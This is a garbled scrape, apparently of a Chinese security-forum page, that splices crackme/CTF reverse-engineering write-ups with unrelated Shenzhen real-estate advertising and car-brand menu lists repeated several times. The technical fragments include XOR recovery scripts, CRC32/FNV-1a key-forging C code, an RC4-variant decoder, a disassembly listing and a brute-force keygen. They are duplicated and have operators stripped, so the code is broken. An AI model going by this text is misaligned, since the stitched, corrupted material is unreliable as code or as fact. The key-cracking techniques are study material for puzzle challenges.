完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)”作为由龙岗-坪山组成的东部中心中的一极,自东进战略提出以来,坪山已先后吸奥园、信达、泰禾、碧桂园等外来户纷纷大手笔进驻,抢占制高点欲望强烈。新城控股高级副总裁欧阳捷认为,都市圈是以轨道交通为纽带,以科技产业新城和特色小镇为星罗,以人才导入为核心,形成产业竞争优势和消费升级优势,实现产业与人口的转移和腾笼换鸟。,项目本身为城投龙华工业区旧改,周边还有立上工业区旧改、清湖新业片区、宏发彬峰桂工业园等旧改项目,目前周边以秩序不佳的工业厂房为主,且处于地铁口地段,预计未来还会有更多工改项目进入旧改议程。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:,rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;}者:(编程解码)(动态调试)骤:代码,定位主要流程。 ,同时,雅居乐民森迪茵湖小镇首批组团规划有幼儿园和小学,全龄段教育配套雏形已现。    项目分三期开发,其中一二期总建面约126万平,集海幕名邸、服务式公寓、300m超甲级写字楼、精品酒店、16万平ShoppingMall&主题商业街区等多元复合业态为一体。写字楼成交金额TOP10根据深圳房地产信息网的监测,龙光玖钻以150280万元摘取深圳市写字楼成交金额龙虎榜桂冠,博丰大厦以32638万元取得亚军排名,佳兆业前海广场以28183万元居于季军之位。。--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车。--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车  也是客厅。--请选择-----(A)阿斯顿马丁------(A)奥迪---一汽奥迪进口奥迪---(B)宝骏---上汽通用五菱(宝骏)---(B)标致---东风标致---(B)奔腾---一汽奔腾---(B)宝马---华晨宝马进口宝马---(B)别克---上海通用别克进口别克---(B)本田---广汽本田东风本田---(B)北汽制造---北汽制造---(B)比亚迪---比亚迪---(B)奔驰---北京奔驰奔驰smart进口奔驰奔驰-AMG---(B)北京汽车---北京汽车---(B)北汽威旺---北汽威旺---(B)北汽银翔---北汽幻速---(C)昌河---昌河汽车---(C)长安---长安汽车---(C)长城---长城汽车---(D)大众---一汽大众上海大众---(D)东南---东南汽车---(D)东风风行---东风风行---(F)福特---长安福特江铃福特---(F)丰田---一汽丰田广汽丰田---(F)菲亚特---进口菲亚特广汽菲克---(F)风神---东风风神---(F)福田---福田汽车---(G)广汽---广汽传祺---(G)观致---观致汽车---(H)海马---海马汽车---(H)红旗---一汽红旗---(H)华泰---华泰汽车---(H)哈弗---长城汽车---(J)捷豹---进口捷豹---(J)吉普---进口JEEP吉普---(J)金杯---华晨金杯---(J)江淮---江淮汽车---(J)江铃---江铃汽车---(J)吉利汽车---吉利汽车---(K)克莱斯勒---进口克莱斯勒---(K)凯迪拉克---通用凯迪拉克进口凯迪拉克---(K)开瑞---开瑞汽车---(L)铃木---长安铃木昌河铃木进口铃木---(L)路虎---进口路虎奇瑞捷豹路虎---(L)雷克萨斯---进口雷克萨斯---(L)雷诺---进口雷诺---(L)林肯---进口林肯---(L)陆风---陆风汽车---(L)力帆---力帆汽车---(M)马自达---一汽马自达长安马自达---(M)迷你---进口迷你---(M)MG---上汽MG---(M)玛莎拉蒂---进口玛莎拉蒂---(N)纳智捷---东风裕隆---(O)讴歌---进口讴歌---(Q)起亚---东风悦达起亚进口起亚---(Q)奇瑞---奇瑞汽车---(Q)启辰---东风日产启辰---(R)荣威---上汽荣威---(R)日产---东风日产郑州日产---(S)斯柯达---上海大众斯柯达---(S)斯巴鲁---进口斯巴鲁---(S)双环---双环汽车---(S)三菱---东南三菱广汽三菱---(S)上汽大通---上汽商用车---(S)思铭---东风本田-思铭---(W)沃尔沃---长安沃尔沃进口沃尔沃沃尔沃亚太---(X)雪佛兰---上海通用雪佛兰上汽通用五菱雪佛兰进口雪佛兰---(X)现代---北京现代---(X)雪铁龙---东风雪铁龙进口雪铁龙DS---(Y)一汽---一汽吉林天津一汽---(Y)英菲尼迪---进口英菲尼迪---(Z)中华---中华轿车---(Z)中欧---中欧汽车---(Z)众泰---众泰汽车传祺GM8不仅给予后排乘客尊贵体验,还以无微不至的人性化智能科技,给予驾者、乘者双重贴心关怀。。,解密,得到结果,加上,即为正确的进入的字符串。正是在这种大背景下,华润置地旗下区域型标杆购物中心产品线——“万象汇”适时进驻,填补了布吉区域的商业空白。(cpu:i7-6700k)最终结果是su19862018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。2018年,虎门将以交通拉开虎门发展新格局,构筑虎门产业新高地。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:而另一分支只是将相应的key信息(如key1)变换为其它形式。据调查,该路段属于市政道,长500米,位于远洋城天曜与御峰臻品小区之间,名为逸兴路,由两小区开发商各负责半边道路施工,待一起修好完善后再移交市政管理。。地铁2号线是东莞目前唯一在运行的地铁线路,与穗莞深城轨、广深港高铁三轨合一交于虎门高铁站,虎门也因此受到了不少外溢置业者的青睐。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,而和龙华同时升级为行政区的坪山区,去年GDP达到了570亿元,老牌原关内盐田区的GDP为亿元,两者仅相差亿元。(以上数据,截止到2018年1月,如有变动以实际市场既是报价为准,仅供参考)【第二部分--科技园片区】坐落有13号线5个站点,分别是松坪站、科兴站、深大站、深大东站、科苑站。根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。如果不感兴趣,可以直接跳到后面的【验证】及【分析】部分阅读。,最后不得不说,荣佳国韵平价楼王单位的出现,非开发商愿意,实限价无奈耳。当今世界,湾区已成为带动全球经济发展的重要增长极和引领技术变革的领头羊,由此衍生出的经济效应则称之为“湾区经济”。首先,主持人讲述了名家今年的成绩和未来的方向,全体人员对未来都充满着期许,明年肯定会更好!-主持人-随后,名家装饰的两位领路人上台致辞,对所有员工今年的成绩表示肯定,并作出感谢。。

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武宣王沮渠蒙逊2018-7-21

苏红敏项目本身为城投龙华工业区旧改,周边还有立上工业区旧改、清湖新业片区、宏发彬峰桂工业园等旧改项目,目前周边以秩序不佳的工业厂房为主,且处于地铁口地段,预计未来还会有更多工改项目进入旧改议程。

”,输入程序,结果如下。文件题为《中共中央国务院关于实施乡村振兴战略的意见》,对实施乡村振兴战略进行了全面部署。。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7